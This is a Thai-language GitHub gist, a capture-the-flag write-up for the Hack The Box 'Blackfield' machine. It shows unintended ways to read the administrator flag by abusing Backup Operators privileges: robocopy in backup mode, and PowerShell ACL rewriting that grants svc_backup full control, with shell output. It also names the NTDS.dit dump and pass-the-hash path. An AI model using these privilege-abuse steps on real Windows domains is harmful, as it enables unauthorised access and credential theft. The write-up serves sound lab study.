Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active July 17, 2021 15:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pich4ya/f2d208cfe2091a30164f957102bf97ef to your computer and use it in GitHub Desktop.
Save pich4ya/f2d208cfe2091a30164f957102bf97ef to your computer and use it in GitHub Desktop.
HTB Blackfield - Unintended Ways to get root.txt
# @author LongCat
เจอว่า htb เครื่อง Blackfield น่าจะเสียทำให้อ่าน root.txt ได้ด้วยท่าง่ายเกิน
(https://app.hackthebox.eu/machines/255)
ไอเดียเดิมคือ เราเป็น domain user (svc_backup) อยู่ในกลุ่ม Backup Operators
อยากจะไปอ่าน root.txt ที่เป็นของ administrator ในเฉลย official บอกไว้ 2 ท่าให้
1. ใช้ wbadmin ทำ backup+restore ไฟล์ ntds.dit (ที่เก็บ ntlm ของ AD)
และแกะเอา ntlm มา pth เข้าไปตบ domain admin
2. ท่าเดียวกับอันแรกแต่ใช้ diskshadow สร้าง backup แล้วใช้ .dll มาทำตัวเป็นโปรแกรม restore ไฟล์คืน ตอนดึง ntds.dit
.dll + วิธี เอามาจาก https://github.com/giuliano108/SeBackupPrivilege
unintended solution หรือน่าจะ bug จากอัปเดตอะไรสักอย่าง ตอนนี้คือ
3. robocopy \b
ใช้ robocopy ก๊อปออกมาอ่านด้วย svc_backup ได้เลย
robocopy /b C:\Users\Administrator\Desktop\ .
/B :: copy files in Backup mode
ท่านี้ในเฉลย official จะก๊อปออกมาได้เฉพาะ notes.txt
ใน Desktop ของ Administrator แต่ตอนนี้ root.txt ออกมาด้วย
4. ใช้ svc_backup เปลี่ยนสิทธิ์ไฟล์แล้วอ่านได้เลย
$root = "C:\Users\Administrator\Desktop\root.txt"
Get-Acl $root
Directory: C:\Users\Administrator\Desktop
Path Owner Access
---- ----- ------
root.txt BUILTIN\Administrators BLACKFIELD\Administrator Allow FullControl...
$acl = Get-Acl $root
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
$acl.SetAccessRule($AccessRule)
$acl | Set-Acl $root
Get-Acl $root
Directory: C:\Users\Administrator\Desktop
Path Owner Access
---- ----- ------
root.txt BUILTIN\Administrators BLACKFIELD\svc_backup Allow FullControl...
และจะอ่าน root.txt ได้เหมือนกัน (เพราะเป็นของ svc_backup แล้ว)
*Evil-WinRM* PS C:\Users\svc_backup\Documents\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
เท่าที่ตามอ่าน writeup ที่หาเจอในกูเกิลทุกคนก็ทำตามท่าในเฉลยคือไปตบ ntds.dit ไม่แน่ใจว่าเครื่องเพิ่งบั๊กหรือยังไง
https://snowscan.io/htb-writeup-blackfield/
https://binsec.nl/hack-the-box-blackfield-10-10-10-192/
http://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fbinarybiceps.com%2Fhackthebox-blackfield-writeup%2F&oq=cache%3Ahttps%3A%2F%2Fbinarybiceps.com%2Fhackthebox-blackfield-writeup%2F
แต่เจออันหนึ่งน่าสนใจคือ 0xdf ตรงหมวด Beyond Root บอกว่าถ้า cipher /c ไฟล์ root.txt
จะเจอเป็น E root.txt คือโดน EFS เข้ารหัสไฟล์ root.txt อยู่ แต่ ณ ตอนนี้ (2021-07-17) เจอว่าเป็น U root.txt
คือไม่ได้เปิดเข้ารหัสไว้ทำให้โดน unintended solution
จากใน
https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#beyond-root---efs
*Evil-WinRM* PS C:\Users\Administrator\desktop> cipher /c root.txt
Listing C:\Users\Administrator\desktop\
New files added to this directory will not be encrypted.
E root.txt
ปัจจุบัน
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
Access to the path 'C:\Users\Administrator\desktop\root.txt' is denied.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator\desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\Administrator\desktop> cipher /c root.txt
Listing C:\Users\Administrator\desktop\
New files added to this directory will not be encrypted.
U root.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment